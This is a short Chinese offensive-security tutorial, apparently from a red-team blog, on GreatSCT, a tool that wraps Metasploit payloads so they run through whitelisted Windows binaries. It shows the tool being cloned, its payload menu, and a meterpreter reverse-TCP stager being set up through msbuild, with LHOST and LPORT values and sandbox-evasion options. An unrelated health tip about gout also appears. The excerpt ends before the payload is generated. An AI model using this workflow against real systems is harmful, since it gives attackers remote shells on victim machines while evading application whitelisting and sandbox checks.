专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

工具介绍：

https://github.com/GreatSCT/GreatSCT

简介：

GreatSCT是以metasploit payload为核心，白名单辅助payload执行框架。

1 root@John:~# git clone https://github.com/GreatSCT/GreatSCT.git

2 Cloning into 'GreatSCT'...

3 remote: Enumerating objects: 727, done.

4 remote: Total 727 (delta 0), reused 0 (delta 0), pack‐reused 727

5 Receiving objects: 100% (727/727), 10.64 MiB | 572.00 KiB/s, done.

6 Resolving deltas: 100% (384/384), done.

1 ====================================================================== =====

2 Great Scott!

3 ====================================================================== =====

4 [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHa cker

5 ====================================================================== =====

6

7 Payload information: 8

9 Name: Pure MSBuild C# Reverse TCP Stager

10 Language: msbuild

11 Rating: Excellent

12 Description: pure windows/meterpreter/reverse\_tcp stager, no

13 shellcode 14

15 Payload: msbuild/meterpreter/rev\_tcp selected 16

17 Required Options: 18

19 Name Value Description

20 ‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

21 DOMAIN X Optional: Required internal domain

22 EXPIRE\_PAYLOAD X Optional: Payloads expire after "Y" days

23 HOSTNAME X Optional: Required system hostname

24 INJECT\_METHOD Virtual Virtual or Heap

25 LHOST IP of the Metasploit handler

26 LPORT 4444 Port of the Metasploit handler

27 PROCESSORS X Optional: Minimum number of processors

28 SLEEP X Optional: Sleep "Y" seconds, check if accelerated

29 TIMEZONE X Optional: Check to validate not in UTC

30 USERNAME X Optional: The required user account 31

32 Available Commands: 33

34 back Go back

35 exit Completely exit GreatSCT

36 generate Generate the payload

37 options Show the shellcode's options

38 set Set shellcode option 39

40 [msbuild/meterpreter/rev\_tcp>>] set LHOST 192.168.1.4 41

42 [msbuild/meterpreter/rev\_tcp>>] set LPORT 53 43

Micropoor